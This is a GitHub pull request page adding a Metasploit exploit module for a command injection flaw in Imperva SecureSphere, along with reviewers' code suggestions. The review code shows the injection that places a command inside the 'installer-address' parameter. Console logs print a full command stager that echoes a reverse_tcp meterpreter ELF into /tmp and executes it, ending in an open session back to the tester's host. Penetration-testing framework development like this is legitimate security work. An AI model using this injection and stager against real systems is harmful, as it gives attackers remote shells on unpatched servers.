New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add imperva_securesphere_exec module #11210

Open
wants to merge 6 commits into
base: master
from

Conversation

Projects
None yet
2 participants
@rsp3ar
Copy link

rsp3ar commented Jan 8, 2019

Implement MSF module for https://www.exploit-db.com/exploits/45542

Below are the packet captures for exploiting the vulnerabilities in pre-ftl and gateway mode in the document:
preftl.mode.pcap.zip
gateway.mode.pcap.zip

@bcoles bcoles added module docs labels Jan 8, 2019

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Jan 8, 2019

This module could be updated to use a command stager fairly easily.

Take a look at mvpower_dvr_shell_exec as an example.

@rsp3ar

This comment has been minimized.

Copy link

rsp3ar commented Jan 9, 2019

the module has been updated to use command stager instead. Attached the new pcaps:
cmdstager.preftl.mode.pcap.zip
cmdstager.gateway.mode.pcap.zip

res
end

def check

This comment has been minimized.

@bcoles

bcoles Jan 9, 2019

Contributor

The regex for \(.+\) is probably unnecessary. A check for /uid=\d+/ is probably sufficient. Not that it should make a difference.

Also, golfed/tidied:

  def check
    res = execute_command('id')

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    if res.body =~ /uid=\d+\(.+\)/
      return CheckCode::Vulnerable
    end

    CheckCode::Safe
  end

This comment has been minimized.

@rsp3ar

rsp3ar Jan 10, 2019

The regex for checking returned uid has been updated to uid=\d+.

For the 'Connection failed' cases, for example, unreachable target, the execute_command would throw out Failure::Unreachable at the follow line.

fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")

It seems without catching the Failure::Unreachable exception, below code wouldn't get executed, and cause check to end silently without any output.

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

This comment has been minimized.

@bcoles

bcoles Jan 10, 2019

Contributor

Are you sure? vprint_* error messages require set VERBOSE true.

This comment has been minimized.

@rsp3ar

rsp3ar Jan 11, 2019

Below is the check function that I tried:

  113   def check
~ 114     print_status("Before execute_command")
~ 115     res = execute_command('id')
~ 116     print_status("After execute_command")
~ 117
+ 118     unless res
+ 119       vprint_error 'Connection failed'
  120       return CheckCode::Unknown
  121     end

I set the RHOST to a non-exist one, and the connection should fail, the output is:

msf5 exploit(linux/http/imperva_securesphere_exec) > set verbose true
verbose => true
msf5 exploit(linux/http/imperva_securesphere_exec) > set RHOSTS 192.168.146.254
RHOSTS => 192.168.146.254
msf5 exploit(linux/http/imperva_securesphere_exec) > check

[*] Before execute_command
msf5 exploit(linux/http/imperva_securesphere_exec) > exploit

[*] Started reverse TCP handler on 192.168.146.215:4444
[*] Before execute_command
[-] Exploit aborted due to failure: unreachable: 192.168.146.254:443 - Could not connect to the web service
[*] Exploit completed, but no session was created.

The exploit did catch the failure correctly, however, check function failed silently if I didn't explicitly catch the exception generated by execute_command in case of failed connection.

This comment has been minimized.

@bcoles

bcoles Jan 11, 2019

Contributor

Looks like check is silently swallowing the error. check methods are not meant to output anything, unless verbose is true. This includes calls to fail_with, or any methods which call fail_with, and use of print_ methods (vprint_* methods are preferred).

In this instance, given that the check method wraps execute_command, it probably makes more sense to leave the functionality as is, and instead change the print_error to vprint_error.

This comment has been minimized.

@rsp3ar

rsp3ar Jan 17, 2019

The print_error has been updated with vprint_error

Show resolved Hide resolved modules/exploits/linux/http/imperva_securesphere_exec.rb Outdated
Show resolved Hide resolved modules/exploits/linux/http/imperva_securesphere_exec.rb Outdated
Show resolved Hide resolved modules/exploits/linux/http/imperva_securesphere_exec.rb Outdated
Show resolved Hide resolved modules/exploits/linux/http/imperva_securesphere_exec.rb
if res && res.code == 401
fail_with(Failure::NoAccess, 'Authorization Failure, valid agent registration credential is required')
end
res

This comment has been minimized.

@bcoles

bcoles Jan 9, 2019

Contributor

Does the server return anything? Would it be useful to check the response code or response body to ensure everything is operating as intended?

This comment has been minimized.

@rsp3ar

rsp3ar Jan 10, 2019

Added check for response code & keyword inside response body in case of successful command execution. Please let me know if that looks good.

This comment has been minimized.

@bcoles

bcoles Jan 11, 2019

Contributor

Looks good, although rather than doing wrapping the conditionals in if res, the method could be cleaned up like so:

  def execute_command(cmd, opts = {})
    data = {
      'command'     => 'impctl server status',
      'parameters'  => {
        'broadcast'         => true,
        'installer-address' => "127.0.0.1 $(#{cmd})"
      }
    }

    res = send_request data

    unless res
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end

    if res.code == 401
      fail_with(Failure::NoAccess, 'Authorization Failure, valid agent registration credential is required')
    end

    unless res.code == 406 and res.body.include?("impctl")
      fail_with(Failure::Unknown, 'Server did not respond in an expected way')
    end

    res
  rescue Rex::ConnectionError, Errno::ENOTCONN => e
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end

This comment has been minimized.

@rsp3ar

rsp3ar Jan 17, 2019

Thanks for the suggestion, after testing, I ran into issue with linux/x64/meterpreter/reverse_tcp, where the server side CGI wouldn't return and res would be nil when specified TIMEOUT is reached, even though the meterpreter session was successfully created in the background.

Below is an example:

msf5 exploit(linux/http/imperva_securesphere_exec) > exploit

[*] Started reverse TCP handler on 192.168.146.217:4444
[*] Sending payload linux/x64/meterpreter/reverse_tcp
[*] Generated command stager: ["echo -en \\\\x7f\\\\x45\\\\x4c\\\\x46\\\\x02\\\\x01\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x3e\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x78\\\\x00\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x40\\\\x00\\\\x38\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x07\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x1d\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xc2\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x6a\\\\x39\\\\x58\\\\x0f\\\\x05\\\\x48\\\\x85\\\\xc0\\\\x74\\\\x08\\\\x48\\\\x31\\\\xff\\\\x6a\\\\x3c\\\\x58\\\\x0f\\\\x05\\\\x6a\\\\x39\\\\x58\\\\x0f\\\\x05\\\\x48\\\\x85\\\\xc0\\\\x74\\\\x08\\\\x48\\\\x31\\\\xff\\\\x6a\\\\x3c\\\\x58\\\\x0f\\\\x05\\\\x48\\\\x31\\\\xff\\\\x6a\\\\x09\\\\x58\\\\x99\\\\xb6\\\\x10\\\\x48\\\\x89\\\\xd6\\\\x4d\\\\x31\\\\xc9\\\\x6a\\\\x22\\\\x41\\\\x5a\\\\xb2\\\\x07\\\\x0f\\\\x05\\\\x48\\\\x85\\\\xc0\\\\x78\\\\x52\\\\x6a\\\\x0a\\\\x41\\\\x59\\\\x56\\\\x50\\\\x6a\\\\x29\\\\x58\\\\x99\\\\x6a\\\\x02\\\\x5f\\\\x6a\\\\x01\\\\x5e\\\\x0f\\\\x05\\\\x48\\\\x85\\\\xc0\\\\x78\\\\x3b\\\\x48\\\\x97\\\\x48\\\\xb9\\\\x02\\\\x00\\\\x11\\\\x5c\\\\xc0\\\\xa8\\\\x92\\\\xd9\\\\x51\\\\x48\\\\x89\\\\xe6\\\\x6a\\\\x10\\\\x5a\\\\x6a\\\\x2a\\\\x58\\\\x0f\\\\x05\\\\x59\\\\x48\\\\x85\\\\xc0\\\\x79\\\\x25\\\\x49\\\\xff\\\\xc9\\\\x74\\\\x18\\\\x57\\\\x6a\\\\x23\\\\x58\\\\x6a\\\\x00\\\\x6a\\\\x05\\\\x48\\\\x89\\\\xe7\\\\x48\\\\x31\\\\xf6\\\\x0f\\\\x05\\\\x59\\\\x59\\\\x5f\\\\x48\\\\x85\\\\xc0\\\\x79\\\\xc7\\\\x6a\\\\x3c\\\\x58\\\\x6a\\\\x01\\\\x5f\\\\x0f\\\\x05\\\\x5e\\\\x5a\\\\x0f\\\\x05\\\\x48\\\\x85\\\\xc0\\\\x78\\\\xef\\\\xff\\\\xe6>>/tmp/kgpQY ; chmod 777 /tmp/kgpQY ; /tmp/kgpQY ; rm -f /tmp/kgpQY"]
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (816260 bytes) to 192.168.146.201
[-] Exploit aborted due to failure: unreachable: 192.168.146.201:443 - Could not connect to the web service
[*] Exploit completed, but no session was created.
msf5 exploit(linux/http/imperva_securesphere_exec) > show seInterrupt: use the 'exit' command to quit
msf5 exploit(linux/http/imperva_securesphere_exec) > sessions -l

Active sessions
===============

  Id  Name  Type                   Information                                             Connection
  --  ----  ----                   -----------                                             ----------
  10        meterpreter x64/linux  uid=497, gid=497, euid=497, egid=497 @ 192.168.146.201  192.168.146.217:4444 -> 192.168.146.201:49434 (192.168.146.201)

bcoles and others added some commits Jan 10, 2019

Apply suggestions from code review
Co-Authored-By: rsp3ar <rsp3ar@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment